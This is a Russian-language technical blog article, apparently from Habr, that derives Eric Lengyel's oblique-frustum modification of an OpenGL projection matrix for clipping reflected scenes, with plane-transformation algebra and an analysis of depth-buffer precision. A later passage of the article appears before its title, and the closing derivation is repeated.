                \begin{array}{l}\vec{M}_3{^'}={\frac{2}{1-d/f}}\langle 0, 0, -1, -d\rangle+\langle 0, 0, 1, 0\rangle \\[0.3em]
\qquad {}= \langle 0, 0, -\frac{f+d}{f-d}, -\frac{2fd}{f-d} \rangle\end{array}

                — результату, совпавшему с ожиданиями: при d=n третья строка модифицированной матрицы совпадает с третьей строкой проекционной матрицы из Выражения (10).

                Как уже предполагалось выше, следует ожидать, что процесс растеризации не будет столь же привычным, как в случае немодифицированной пирамиды видимости. Полный диапазон значений буфера глубины не будет достигаться вдоль различных направлений внутри пирамиды видимости вследствие изменения в геометрии пирамиды. Возьмем вектор произвольного направления \vec{V}=\langle V_x, V_y, V_z, 0\rangle в пространстве камеры вида, для которого V_z<0, и исследуем нормализованную z-координату точки \langle 0, 0, 1, 0\rangle + s\vec{V}, расположенной внутри пирамиды видимости:

                \begin{array}{l}z(s)={\cfrac{(\mathbf{M}{^'}\langle sV_x, sV_y, sV_z, 1\rangle)_z}{(\mathbf{M}{^'}\langle sV_x, sV_y, sV_z, 1\rangle)_w}} \\[0.8em]
\qquad {}= {\cfrac{(\alpha\vec{C}-\vec{M}_4)\cdot\langle sV_x, sV_y, sV_z, 1\rangle}{\vec{M}_4\cdot\langle sV_x, sV_y, sV_z, 1\rangle}}\end{array},

                где \alpha-масштабирующий фактор, введенный Выражением (17). Для \vec{M}_4=\langle 0, 0, -1, 0\rangle, Выражение (24) становится

                \begin{array}{l}z(s)=\cfrac{\alpha sC_xV_x+\alpha sC_yV_y+\alpha sC_zV_z+sV_z+\alpha C_w}{-sV_z} \\[0.8em]
\qquad {}=\cfrac{\alpha s (\vec{C}\cdot \vec{V}) +sV_z+\alpha C_w}{-sV_z}\end{array}.

                Мы полагаем, что скалярное произведение \vec{C}\cdot \vec{V} \geq 0, поскольку иначе точка \langle 0, 0, 1, 0\rangle + s\vec{V} лежала бы вне пирамиды видимости. Рассмотрим ситуацию, когда s стремится к бесконечности:

                \lim_{s \to \infty} z(s)=-\cfrac{\alpha(\vec{C}\cdot \vec{V})+V_z}{V_z},

                полученное выражение указывает максимально достижимое значение нормализованной z-координаты в направлении \vec{V}.
                Исследуем направление \vec{V}=\langle 0, 0, -1, 0\rangle вдоль взгляда прямого взгляда из позиции камеры: предельное значение, указанное Выражением (26), меньше единицы, если выполняется условие \alpha C_z >-2. В этом случае, z-координата дальнего плана \vec{F}, заданного Выражением (16), меньше нуля, и дальний план не является плоскостью, ограничивающей объем пирамиды видимости. Поскольку дальний план может оказаться не достижимым вдоль направления \vec{V}, диапазон нормализованных значений для буфера глубины может оказаться существенно уже, чем в случае обычной пирамиды видимости.

                Хорошей практикой для программиста будет, перед тем, как утвердить для дальнейшей работы выбранную пространственную модель, исследовать поведение нормализованной координаты внутри модифицированной (скошенной | oblique frustum) пирамиды видимости. Своевременно обнаружив проблемные места, он может поправить или положение камеры, или изменить угол наклона секущей плоскости таким образом, чтобы упростить работу буфера глубины, по возможности приблизив её к нормальному режиму. Затраты на такое действие не будут особенно значительными, но результат послужит спокойствию перфекциониста.
                Продолжая эксплуатировать стандартную матрицу проекции из Выражения (10), легко перейти к очередному примеру её использования для исследования значений нормализованной z-координаты внутри модифицированной пирамиды видимости:

                допустим, что плоскость, отсекающая неугодную нам геометрию, и которой мы замещаем ближний план пирамиды видимости, в направляющих косинусах представлена как \vec{C}=\langle C_x, C_y, -C_z, -d \rangle, и, в нашем частном случае, C_x, C_y, C_z имеют положительные значения (плоскость лежит напротив правого верхнего угла пирамиды), при этом C_z-угол между отрицательным направлением оси z и нормальным вектором нашей плоскости. Рассмотрим изменение нормализованной z-координаты вдоль отрицательного направления оси z в зависимости от угла между нормальным вектором плоскости ближнего плана и отрицательным направлением оси z, и расстоянием от камеры до ближнего плана.

                Скалярное произведение \vec{C}\cdot\vec{Q} для этого случая, с учетом Выражения (22) даст следующий результат:

                \vec{C}\cdot\vec{Q}=\cfrac{rfC_x+tfC_y-n(d-fC_z)}{nf},

                и третья строка преобразованной матрицы проекции приобретет вид

                \begin{array}{l}\vec{M}_3{^'}={\cfrac{2nf\langle C_x, C_y, -C_z, -d\rangle}{rfC_x+tfC_y-n(d-fC_z)}+\langle 0, 0, 1, 0\rangle}\end{array}.

                Рассмотрим поведение нормализованной координаты z в направлении фронтального вида из камеры для точек \vec{P}=\langle 0, 0, P_z, 1 \rangle, из диапазона значений P_z \in [-n, -f]: нормализованная z-координата для этого случая станет

                z={\frac{P_z^'}{P_w^'}}=-\cfrac{(rfC_x+tfC_y-n(d+fC_z))P_z-2nfd}{(rfC_x+tfC_y-n(d-fC_z))P_z} \; .

                Последнее Выражение вполне подходит для целей численного исследования. Пример такого исследования можно видеть на Рис. 8. Диапазон нормализованных значений, предназначенных для буфера глубины, сильно сужается с ростом угла между нормалью плоскости и отрицательным направлением оси z, также значительно ухудшить точность работы буфера глубины может перемещение ближнего плана по направлению от камеры к дальнему плану (известно, что слишком близкое размещение к камере ближнего плана также неблагоприятно сказывается на значениях нормализованных координат).
                modified far plane

                Рис. 8. Сужение диапазона нормализованной z-координаты в н

                Oblique frustum. Внутри скошенной пирамиды видимости

                Вторник, 26 Сентября 2017 г. 18:34 + в цитатник
                nailer вчера в 18:34 Разработка

                Oblique frustum. Внутри скошенной пирамиды видимости

                  Нижеизложенный материал, вероятно, знаком, или даже хорошо известен, программистам, имевшим опыт работы с OpenGL, между тем, я счел уместным напомнить о модели oblique frustum, отчасти наблюдая (и разделяя) интерес читателей Хабра к вопросам OpenGL и в целом трёхмерного моделирования, отчасти из несогласия с позицией некоторых разработчиков вроде «…чтобы это использовать, вовсе не обязательно разбираться в том, как работает матрица проекции», отчасти из уважения и благодарности к Эрику Ленгелу|Eric Lengyel, изобретательная мысль которого обогатила приемы работы в среде OpenGL.

                  Если в моделируемых вами сценах присутствуют зеркальные отражения, и вы подзабыли или не слышали про «oblique frustum», то возможно, что эта статья не будет для вас бесполезной.

                  Несмотря на то, что я, вслед за Эриком Ленгелом, более придерживался при изложении материала представлений OpenGL, все последующие рассуждения легко распространяются на любые другие системы трёхмерного моделирования.

                  Reflections

                  Отражения в 3D–сценах


                  В случае, когда в 3D-сценах присутствуют отражающие поверхности, обычная практика получения отражения заключается в рендеринге сцены с использованием вспомогательной камеры вида, которая сама является отражением основной камеры вида плоскостью отражающей поверхности.

                  arbitrary camera


                  Рис. 1. Верхняя камера является основной камерой, через которую происходит рендеринг сцены, содержащей отражающую поверхность. Нижняя камера является вспомогательной камерой, предназначенной для рендеринга отражения. Ось X направлена к наблюдателю для обеих пирамид видимости (в принятых для OpenGL представлениях), и очевидно, что координатная система для камеры, осуществляющей рендеринг отражения, является левосторонней.

                  При рендеринге отражения вспомогательной камерой (камерой отражения), может оказаться, что часть объектов, расположенных между наблюдателем и отражающей поверхностью, оказывается в результирующем рендере, образуя нежелательные артефакты в изображении. Чтобы отсечь нежелательную часть отраженной сцены с финального рендера, программист ограничивает наблюдаемую из камеры отражения часть объема трёхмерной сцены воображаемой поверхностью, используя различные приемы для того, чтобы прервать визуализацию сцены за границей этой поверхности.

                  Можно воспользоваться инструкцией „discard” для фрагментного шейдера или ей подобными, специфическими для отдельных реализаций рендеринга в общей идеологии 3D–моделирования ( например „kill” в AGALMiniAssembler), однако, если нам желательно решение универсальное, одинаково хорошо работающее на любом процессоре, то стоит обратить внимание на технику, предложеную Эриком Ленгелом.

                  Идея Эрика Ленгела заключалась в том, чтобы модифицировать проекционную матрицу таким способом, чтобы ближний план пирамиды видимости стал как раз своего рода секущей плоскостью, отделяющей нежелательный в конечном рендере объем основной сцены.

                  Для дальнейшего уместно напомнить элементарные представления аналитической геометрии.

                  Плоскость в пространстве


                  Для удобства изложения, будем придерживаться следующих обозначений:

                  \begin{center}
\begin{array}{|rlc}
\textbf{для точек и векторов:} & \vec{A}, \vec{P}\\
\multicolumn{2}{|l}{\textit{отличая их }\mathit{w} \textit{-координатой в однородном представлении,}}\\
\multicolumn{2}{|l}{\textit{координатную запись заключаем в угловые скобки }\langle ,,, \rangle}\\[0.3em]
\textbf{для матриц:} & \mathbf{M}, \mathbf{P} \\
\textbf{транспонированная матрица:} &\mathbf{M}^\mathrm{T} \\
\textbf{обратная матрица:} & \mathbf{M}^{-1} \\
\textbf{знак } x:  & sgn(x) =
  \begin{cases}
    1,       & \quad \text{if } x>0\\
    0,       & \quad \text{if } x=0\\
    -1,  & \quad \text{if } x<0
  \end{cases}\\
\textbf{длина вектора:} & \|\vec{P}\| \\
\textbf{скалярное произведение векторов:} & \vec{Q}\cdot\vec{P} \\
\end{array}
\end{center}

                  Плоскость


                  Для любой пространственной 3D-точки \vec{P} и вектора \vec{N}, совокупность 3D-точек \vec{Q}, отличных от \vec{P}, удовлетворяющих уравнению \vec{N}\cdot(\vec{Q}-\vec{P}) определяет плоскость, при этом точка \vec{P} является одной из принадлежащих этой плоскости точек, а вектор \vec{N} является её вектором нормали.

                  Plane

                  Рис. 2. Плоскость полностью определяется принадлежащей ей точкой \vec{P} и нормаль-вектором \vec{N}.

                  Уравнение плоскости часто записывается следующим выражением:

                  Ax+By+Cz+D=0,

                  где \mathit{A, B} и \mathit{C} есть \mathit{x, y, z} компоненты нормального вектора \vec{N}, причем D=-\vec{N}\cdot\vec{P}. Значение |D|/\|\vec{N}\| равно расстоянию до плоскости от начала координат (помним, что компоненты нормального вектора, деленные на его длину, есть направляющие косинусы единичного вектора нормали плоскости).

                  В случае нормализованного вектора нормали, выражение

                  d=\vec{N}\cdot\vec{Q}+D,

                  может быть использовано, для нахождения расстояния от плоскости до произвольной точки \vec{Q}. Если d=0, \vec{Q} лежит в плоскости. В случае, если d>0, точка \vec{Q} находится с положительной стороны плоскости, т.е. со стороны нормального вектора плоскости, при d<0, точка \vec{Q} располагается в стороне от плоскости, в направлении противоположном направлению нормального вектора плоскости \vec{N}.
                  Удобно записать плоскость четырехмерным вектором. Коротко уравнение плоскости запишется так: \langle \vec{N}, D \rangle. Очевидно, что для произвольной точки \vec{Q}, имеющей в однородных 4-хмерных координатах \mathit{w}-координату равную 1, Выражение (2) может быть переписано как d=\vec{L}\cdot\vec{Q}, где \vec{L}=\langle \vec{N}, D \rangle и точка \vec{Q} лежит в плоскости, если \vec{L}\cdot\vec{Q}=0.

                  Преобразование плоскости


                  Для понимания особенности пространственного преобразования плоскости, потребуется некоторое внимание уделить преобразованию нормального вектора. При пространственном преобразовании полигональной модели, вектора касательные к поверхности полигонов и вектора нормальные ведут себя неодинаково. Вектор касательный часто можно представить как разницу между двумя преобразованными вершинами, т.е. между двумя естественным образом преобразованными точками, и, вследствие этого, характер преобразованного вектора совпадает с нашими ожиданиями. Но, в общем случае пространственного преобразования, матрица \mathbf{M} которого не является ортогональной, прямое применение матрицы преобразования к нормальному вектору приведет к тому, что этот вектор перестанет быть нормальным – перпендикулярным к поверхности полигона.

                  Поскольку вектор касательный \vec{T} и вектор нормальный \vec{N}, принадлежащие одному полигону, должны оставаться перпендикулярными, для скалярного произведения преобразованных векторов \vec{T}{^'} и \vec{N}{^'} должно выполняться то же условие что и для исходных векторов: \vec{T}{^'}\cdot\vec{N}{^'}=0. Совершим несколько простых алгебраических операций, чтобы прояснить природу нормального вектора:

                  если \mathbf{M} – 3х3-матрица трансформации пространства (для случая касательного и нормального векторов пространственные перемещения несущественны), и \vec{T}{^'}=\mathbf{M}\vec{T}, то зададимся целью найти матрицу преобразования \mathbf{G} для \vec{N}, такую, чтобы выполнялось

                  \vec{N}{^'}\cdot\vec{T}{^'}=(\mathbf{G}\vec{N})\cdot(\mathbf{M}\vec{T})=0,

                  вспомним, что умножение векторов можно записать и следующим образом (совершенно равнозначным):

                  (\mathbf{G}\vec{N})\cdot(\mathbf{M}\vec{T})=(\mathbf{G}\vec{N})^\mathrm{T}(\mathbf{M}\vec{T})=\vec{N}^\mathrm{T}\mathbf{G}^\mathrm{T}\mathbf{M}\vec{T},

                  Поскольку \vec{N}^\mathrm{T}\vec{T}=0, выражение \vec{N}^\mathrm{T}\mathbf{G}^\mathrm{T}\mathbf{M}\vec{T}=0 выполняется, если \mathbf{G}^\mathrm{T}\mathbf{M}=\mathbf{I}, где \mathbf{I} – единичная матрица. Из чего следует, что \mathbf{G}=(\mathbf{M}^{-1})^\mathrm{T}. Вектор, трансформация которого происходит подобным образом (посредством транспонированной обратной матрицы преобразования), является вектором ковариантным, тогда как вектор, трансформирующийся подобно вектору касательному, является вектором контравариантным.

                  Однако, плоскость в однородных координатах, в отличие от нормального вектора, имеет ненулевую \mathit{w}-координату, и следует дополнительно исследовать её поведение при 4х4-преобразованиях.

                  Расстояние до плоскости от начала координат, после применения пространственного преобразования, с учетом особенностей преобразования нормального вектора, для лежащей в этой плоскости точки \vec{P}, через знакомое скалярное произведение:

                  \begin{array}{l}D{^'}= -((\mathbf{M}{^{-1}})^\mathrm{T}\vec{N})\cdot(\mathbf{M}\vec{P}+\vec{T})\\  
\qquad {}=-((\mathbf{M}^{-1})^\mathrm{T}\vec{N})^\mathrm{T}\mathbf{M}\vec{P}-((\mathbf{M}^{-1})^\mathrm{T}\vec{N})^\mathrm{T}\vec{T}\\
\qquad {}=-\vec{N}^\mathrm{T}\mathbf{M}^{-1}\mathbf{M}\vec{P}-\vec{N}^\mathrm{T}\mathbf{M}^{-1}\vec{T}\\
\qquad{}=D -\vec{N}\cdot\mathbf{M}^{-1}\vec{T},\end{array}

                  Мы воспользовались в данных вычислениях матрицей преобразования \mathbf{F}, дополненной к операциям поворота, масштабирования и скоса операцией сдвига:

                  \mathbf{F}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &\mathbf{M}\quad{} &\vline  &  \vec{T} \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &0\quad{} &\vline & 1
\end{matrix}\:\;\right]
=\left[\:\;
\begin{matrix}
M_{11} &M_{12} &M_{13}  &\vline \,&T_x\\
M_{21} &M_{22} &M_{23}  &\vline \,&T_y\\
M_{31} &M_{32} &M_{33}  &\vline \,&T_z\\
\hline
0 &0 &0 &\vline \,&1\\
\end{matrix}\:\;\right],

                  Матрица обратного преобразования к матрице \mathbf{F} ищется обычным алгоритмом обращения матриц:

                  \mathbf{F}^{-1}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &\mathbf{M}^{-1}\quad{} &\vline  &-\mathbf{M}^{-1}\vec{T} \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &0\quad{} &\vline & 1
\end{matrix}\:\;\right]
=\left[\:\;
\begin{matrix}
M_{11}^{-1} &M_{12}^{-1} &M_{13}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_x\\
M_{21}^{-1} &M_{22}^{-1} &M_{23}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_y\\
M_{31}^{-1} &M_{32}^{-1} &M_{33}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_z\\
\hline
0 &0 &0 &\vline \,&1\\
\end{matrix}\:\;\right],

                  Транспонируем обратную матрицу:

                  {\left(\mathbf{F}^{-1}\right)^\mathrm{T}}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &{\left(\mathbf{M}^{-1}\right){}^\mathrm{T}}\quad{} &\vline  &0 \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &-\mathbf{M}^{-1}\vec{T}\quad{} &\vline & 1
\end{matrix}\:\;\right],

                  Можем видеть, что D -\vec{N}\cdot\mathbf{M}^{-1}\vec{T} из Выражения (5) есть результат умножения четвёртой строки транспонированной обратной матрицы преобразования на четырёхмерный вектор в однородной координатной записи \langle N_x, N_y, N_z, D \rangle, т.е. для плоскости \vec{C}=\langle \vec{N}, D\rangle, её образ при пространственной трансформации, описываемой 4х4 матрицей превращения \mathbf{F}, выражается:

                  \vec{C}{^'}={\left(\mathbf{F}^{-1}\right){}^\mathrm{T}}\vec{C}.

                  Для дальнейшего существенно, что плоскость подчиняется ковариантному характеру пространственного преобразования.

                  Перспективная проекция


                  Перспективное проецирование применяется, чтобы создать у наблюдателя ощущение глубины на проекционном плане, матрица перспективного преобразования должна отобразить пространство пирамиды видимости в нормализованное пространство куба видимости. Пирамида видимости обычно может быть выражена через термины top, bottom, left, right, far, near или fovy, aspect, near, far, некоторые реализации OpenGL имеют среди своих инструментов средства работы как для правосторонней так и для левой координатных систем. Отличия и порядок умножения матрицы на вектор в каждой из систем, должны быть ясны любому программисту.
                  frustum


                  Рис. 3. Усеченная пирамида видимости (frustum) в системах компьютерной графики отсекает зону видимости, для целей последующего рендеринга, с боков и вдоль осей проецирования. Пирамида видимости, в пространстве камеры вида, располагается в правосторонней системе координат так, что вершина пирамиды лежит в центре координатной системы, а направление вида из камеры противоположно оси z, ближний план находится на удалении n вдоль отрицательного направления оси z, дальний план – на удалении f вдоль отрицательного направления оси z.

                  В общем случае, пирамида видимости не обязана иметь форму правильной усеченной пирамиды, она может быть и асимметричной, поэтому модель с top, bottom, left, right, far, near является более подходящей для иллюстраций особенностей oblique frustum («скошенной пирамиды видимости»). «Сжатое пространство» куба видимости, замкнутое в объёме, ограниченном плоскостями x=\pm 1, y=\pm 1, z=\pm 1, для единообразия с англоязычной терминологией будем в дальнейшем называть пространством клипа.
                  Чтобы организовать задуманное нами отсечение части объектов в исходной пирамиде видимости, нам потребуется модифицировать применяемую в нашей модели матрицу перспективной проекции. Параметры таковой матрицы программисты OpenGL могут найти на сайте основной документации по OpenGL, программисты на Flash (AS3), вероятнее всего обратятся к классу PerspectiveMatrix3D, программисты Direct3D имеют свои источники, пишущие для андроида найдут всё необходимое в классе android.opengl.Matrix, и т.д. Не исключено, что кто-то, поняв основную идею, предпочтет расширить свой собственный класс перспективного преобразования дополнительной функциональностью.

                  Точка из пространства пирамиды видимости камеры вида отображается в пространство клипа канонического куба, например, следующим 4х4-матричным преобразованием (воспользуемся матрицей перспективного преобразования генерируемой glFrustum()-функцией OpenGL):

                  \vec{P}{^'}=\mathbf{M}_{frustum}\vec{P}= \begin{bmatrix}
\frac{2n}{r-l} &0 &\frac{r+l}{r-l} & 0\\[0.3em]
0 &\frac{2n}{t-b} &\frac{t+b}{t-b} &0 \\[0.3em]
0 & 0 &-\frac{f+n}{f-n} &-\frac{2nf}{f-n}\\[0.3em]
0 &0 &-1 & 0
\end{bmatrix}\!\!\begin{bmatrix}
P_x\\
P_y\\
P_z\\
1
\end{bmatrix}.

                  При таком преобразовании, \mathit{w}-координата преобразованной точки в однородном пространстве клипа имеет знак противоположный знаку \mathit{z}-координаты точки в пространстве камеры вида.

                  Особенности искажения пространства стандартной матрицей преобразования видны из Рис.4:
                  \mathit{z}-координата из пространства пирамиды видимости отражается в диапазон [-1, 1] NDC, причём бесконечный диапазон за дальним планом пирамиды видимости из камеры вида сжимается в конечный промежуток \left[1, \tfrac{f+n}{f-n}\right] внутри NDC; конечное расстояние от камеры до ближнего плана вдоль оси Z расширяется до бесконечного промежутка ]{-\infty}, -1] NDC; а точки вдоль оси Z, находящиеся до камеры, отражаются в диапазон \left[ \tfrac{f+n}{f-n}, \infty\right[.

                  Normalized Device Coordinates


                  Рис. 4. Отражение \mathit{z}-координаты точки из пространства камеры вида в пространство нормализованных координат устройства (NDC — normalized device coordinates).

                  Заменяя ближний план пирамиды видимости плоскостью отсечения, мы должны сохранить основные особенности матрицы перспективного преобразования, \mathit{z}-координата точки, лежащей на модифицированном ближнем плане, в нормализованных координатах устройства (NDC) должна остаться равной -1. Все дальнейшие наблюдения являются универсальными для любых обратимых проекционных матриц, и использование матрицы проекции из Выражения (10) служит лишь целям иллюстрации общего процесса модификации матрицы преобразования.

                  Если \vec{C}{^'} является одной из плоскостей, ограничивающих пространство клипа, и при этом матрица преобразования \mathbf{M} является матрицей проекции из пространства камеры в пространство клипа, то не сложно осуществить отображение этой плоскости \vec{C}{^'} в пространство камеры из пространства клипа посредством транспонированной матрицы \mathbf{M}^\mathrm{T}, что очевидно следует из Выражения (9):

                  \vec{C}=\left[\left(\mathbf{M}^{-1}\right){}^{-1}\right]{}^\mathrm{T}\vec{C}{^'}=\mathbf{M}^\mathrm{T}\vec{C}{^'}

                  Модифицирование ближнего плана пирамиды видимости


                  Для начала, извлечем из произвольной проекционной матрицы \mathbf{M} четырехмерные векторы, соответствующие шести плоскостям отсечения пирамиды видимости. Эрик Ленгел исходил из того, что плоскости в пространстве клипа всегда неизменны: нормаль любой плоскости параллельна одной из главных координатных осей.

                  На Рис.5 показаны элементы «x-z» трёхмерного среза четырехмерного однородного пространства клипа. Внутри этого среза \mathit{w}-координата любой точки равна 1, таким образом, и \mathit{w}-координата каждой плоскости равна 1, и, разумеется, одна из x-,y-, или z-координат равна ±1, что отражено в Таблице 1. Для понимания Таблицы 1 надо ещё раз внимательно посмотреть на Выражение (11): сумма некоторых двух столбцов матрицы \mathbf{M}^\mathrm{T} не что иное, как сумма соответствующих двух строк матрицы \mathbf{M}.

                  slice of homogeneous clip space


                  Рис. 5. Нормальные векторы для левой, правой, ближней и дальней плоскостей, ограничивающих однородное кубическое пространство клипа. Нормальные векторы для верхней и нижней плоскостей пространства клипа направлены от и к наблюдателю.

                  Табл. 1. Взаимосвязь между координатами пространства клипа и пространства усеченной пирамиды видимости камеры вида. Матрица проекции \mathbf{M} переводит пространство камеры вида в пространство клипа, и обозначение \mathbf{M}_i представляет i-ую строку матрицы \mathbf{M}.
                  \begin{center}
\begin{array}{rcc}
\hline
\textbf{Frustum plane} & \textbf{Clip-space} & \textbf{Camera-space} \\
\hline
\text{Near}\qquad{} & \langle 0, 0, 1,1\rangle &\vec{M}_4 + \vec{M}_3 \\
\text{Far}\qquad{} & \langle 0, 0, -1,1\rangle & \vec{M}_4 - \vec{M}_3 \\
\text{Left}\qquad{} & \langle 1, 0, 0,1\rangle &\vec{M}_4 + \vec{M}_1 \\
\text{Right}\qquad{} & \langle -1, 0, 0,1\rangle &\vec{M}_4 - \vec{M}_1 \\
\text{Bottom}\qquad{} & \langle 0, 1, 0,1\rangle &\vec{M}_4 + \vec{M}_2 \\
\text{Top}\qquad{} & \langle 0, -1, 0,1\rangle &\vec{M}_4 - \vec{M}_2 \\
\hline
\end{array}
\end{center}

                  Пусть \vec{C}=\langle C_x, C_y, C_z, C_w\rangle – некоторая плоскость, показанная ни Рис. 6, в координатном пространстве камеры вида, посредством которой мы и намереваемся ограничить нашу геометрию. Камера располагается с отрицательной стороны плоскости (со стороны противоположной направлению вектора плоскости), поэтому C_w<0. Именно этой плоскостью мы намерены заменить ближний план пирамиды видимости, поэтому, в соответствии с соотношениями из Таблицы 1, для \vec{C} должно выполняться:

                  \vec{C}=\vec{M}_4+\vec{M}_3.

                  Мы не можем модифицировать четвертую строку матрицы перспективной проекции, т.к. она используется для отражения отрицательной z-координаты в w-координату, и необходима для дальнейшей корректной работы графического конвеера. Однако, со вторым слагаемым правой части Выражения (12) мы можем поступать более свободно:

                  \vec{M}_3{^'}=\vec{C}-\vec{M}_4.

                  cut clip space

                  Рис. 6. Замена ближнего плана пирамиды видимости плоскостью \vec{C}.

                  Поскольку, согласно Таблицы 1, третья строка матрицы проекции входит в состав выражения для дальнего плана пирамиды видимости, то очевидно, что её модифицирование необходимо учесть для дальнего плана:

                  \begin{array}{|c|}\hline
\;\\
\vec{F}=\vec{M}_4-\vec{M}_3^'}\;\\[0.3em]   
\qquad {}=2\vec{M}_4-\vec{C}\;\\[1em]
\hline \end{array}\:.

                  И этот результат являет собой заметную проблему для перспективной проекции: поскольку \vec{M}_4=\langle0, 0, -1, 0 \rangle, то дальний план и ближний план пирамиды видимости перестают быть параллельными, в случае отличных от нуля значений для C_x и C_y. Более того, форма усеченной пирамиды приобретает вид крайне нежелательный в последующем рендеринге: рассмотрим некоторую точку \vec{P}=\langle x, y, 0, w \rangle, для которой выполняется \vec{C}\cdot\vec{P}=0, и это влечет за собой равенство нулю и \vec{F}\cdot\vec{P}, из чего мы должны заключить, что наши новые ближний и дальний планы пересекутся образом подобным показанному на Рис. 7 (а).

                  Проекция глубины точки, ранее достигавшая максимума на дальнем плане, и необходимая нам для процесса графической растеризации, более не представляет собой проекцию вдоль оси z, а скорее, становится значением, зависящим от положения между ближним и дальним планами. Зависимость глубины проекции от направления внутри пирамиды видимости серьезнейшим образом скажется на правильности значений буфера глубины. Однако, этот нежелательный эффект, можно снизить до приемлимого для задачи растеризации уровня, уменьшив угол между ближним и дальним планами до минимально возможного. Как и всякую плоскость, плоскость \vec{C} можно масштабировать, и это её свойство как нельзя кстати в нашем случае. Масштабирование плоскости \vec{C} скажется на ориентации дальнего плана \vec{F}, так что нам требуется лишь подобрать коэффициент масштабирования таким образом, чтобы минимизировать угол между \vec{C} и \vec{F} без ущерба для содержания сцены внутри пирамиды видимости как показано на Рис. 7 (b).
                  modified far plane

                  Рис. 7. (а) Пересечение измененного в соответствии с Выражением (14) дальнего плана \vec{F} с модифицированным ближним планом \vec{C} в «x-y»-плоскости. (b) Масштабирование ближнего плана \vec{C} параметром \alpha, введенным Выражением (17) изменяет угол между дальним и ближним планом до минимально возможного, не повреждая при этом начального вида усечения. Затененная область относится к объему пространства, не подвергнутого усечению.

                  Пусть \vec{C}{^'}=\left(\mathbf{M}^{-1}\right){}^\mathrm{T}\vec{C} является проекцией нового ближнего плана в пространстве клипа (\mathbf{M} – исходная матрица проекции). Угол \vec{Q}^' внутри пирамиды видимости, лежащий напротив плоскости \vec{C}, будет иметь следующие координаты:

                  \vec{Q}{^'}=\langle sgn(C{^'} _x), sgn(C{^'} _y), 1, 1\rangle.

                  Для большинства перспективных проекций, знаки компонент C{^'} _x и C{^'} _y у преобразованных плоскостей совпадут со знаками соответствующих компонент C _x и C _y, что нам позволяет воспользоваться знаками координатного разложения исходной плоскости.
                  Имея компоненты преобразованного угла \vec{Q}{^'}, мы уже можем вычислить компоненты оригинального угла \vec{Q}, лежащего напротив плоскости \vec{C}, как \vec{Q}=\mathbf{M}{^{-1}}\vec{Q}{^'}. В обычной пирамиде видимости, точка \vec{Q} в вершине угла, образованного пересечением двух боковых плоскостей и дальнего плана, лежащая напротив плоскости \vec{C}, является наиболее удаленной от плоскости \vec{C} точкой.

                  Чтобы наш дальний план содержал точку \vec{Q}, должно выполняться условие \vec{F}\cdot\vec{Q}=0, дополним Выражение (14) масштабирующим плоскость \vec{C} фактором \alpha

                  \vec{F}=2\vec{M}_4-\alpha\vec{C}

                  и найдем из условия \vec{F}\cdot\vec{Q}=0 масштабирующий фактор:

                  \alpha=\frac{2\vec{M}_4\cdot\vec{Q}}{\vec{C}\cdot\vec{Q}.

                  Замена \vec{C} на \alpha\vec{C} в Выражении (13)

                  \vec{M}_3{^'}=\alpha\vec{C}-\vec{M}_4

                  и позволит нам оптимальным образом сориентировать дальний план пирамиды видимости, как показано на Рис. 7 (b) (данная техника замещения работает корректно и для пирамиды видимости, дальний план которой удален на бесконечность,– случай бесконечной проекционной матрицы,– для этого достаточно потребовать, чтобы дальний план был параллелен одной из двух образующих противоположный плоскости \vec{C} угол граней).

                  Практическое использование произведенных выше наблюдений


                  Все ранее проделанные теоретические изыскания распространяются на любые обратимые проекционные матрицы, но, поскольку, в качестве примера уже привлекалась стандартная для OpenGL матрица в Выражении (10), то логично продолжить цепочку примеров с нею же.

                  Обратная матрица к ней будет выглядеть таким образом:

                  \mathbf{M}{^{-1}}= \begin{bmatrix}
\frac{r-l}{2n} &0  & 0 &\frac{r+l}{2n}\\[0.3em]
0 &\frac{t-b}{2n}  &0 &\frac{t+b}{2n}\\[0.3em]
0 & 0 &0 &-1\\[0.3em]
0 &0 &-\frac{f-n}{2nf} & \frac{f+n}{2nf}
\end{bmatrix}

                  Получим значение для третьей строки модифицированной проекционной матрицы, как предложено Выражением (18) с учетом \alpha из Выражения (17):

                  \vec{M}_3{^'}={\frac{2\vec{M}_4\cdot\vec{Q}}{\vec{C}\cdot\vec{Q}} \vec{C}-\vec{M}_4

                  Поскольку \vec{M}_4=\langle 0, 0, -1, 0\rangle, то это выражение можно записать как

                  \vec{M}_3{^'}={\frac{-2Q_z}{\vec{C}\cdot\vec{Q}} \vec{C}+\langle 0, 0, 1, 0\rangle

                  Умножив обратную матрицу из Выражения (19) на \vec{Q}{^'} из Выражения (15), мы получим \vec{Q}:

                  \vec{Q}=\begin{bmatrix}
sgn(C_x)\frac{r-l}{2n}+\frac{r+l}{2n}\\[0.5em]
sgn(C_x)\frac{t-b}{2n}+\frac{t+b}{2n}\\[0.5em]
-1\\[0.3em]
1/f
\end{bmatrix}

                  Чтобы убедиться в правильности разработанного метода модифицирования проекционной матрицы, рассмотрим частный случай расположения плоскости отсечения \vec{C} перпендикулярно оси z, т.е. параллельно обычному ближнему плану пирамиды видимости,— в координатной записи такая плоскость будет выглядеть как \vec{C}=\langle 0, 0, -1, -d \rangle, где d-некоторая положительная дистанция. Естественно ожидать, что в новой проекционной матрице для пирамиды видимости, ближний план которой удалён на расстояние d от камеры, дальний план останется в своей прежней позиции.

                  Скалярное произведение \vec{C}\cdot\vec{Q} для такой плоскости будет равно 1-d/f, а Выражение (21) для вычисления третьей строки модифицированной матрицы проекции приведет к

                  \begin{array}{l}\vec{M}_3{^'}={\frac{2}{1-d/f}}\langle 0, 0, -1, -d\rangle+\langle 0, 0, 1, 0\rangle \\[0.3em]
\qquad {}= \langle 0, 0, -\frac{f+d}{f-d}, -\frac{2fd}{f-d} \rangle\end{array}

                  — результату, совпавшему с ожиданиями: при d=n третья строка модифицированной матрицы совпадает с третьей строкой проекционной матрицы из Выражения (10).

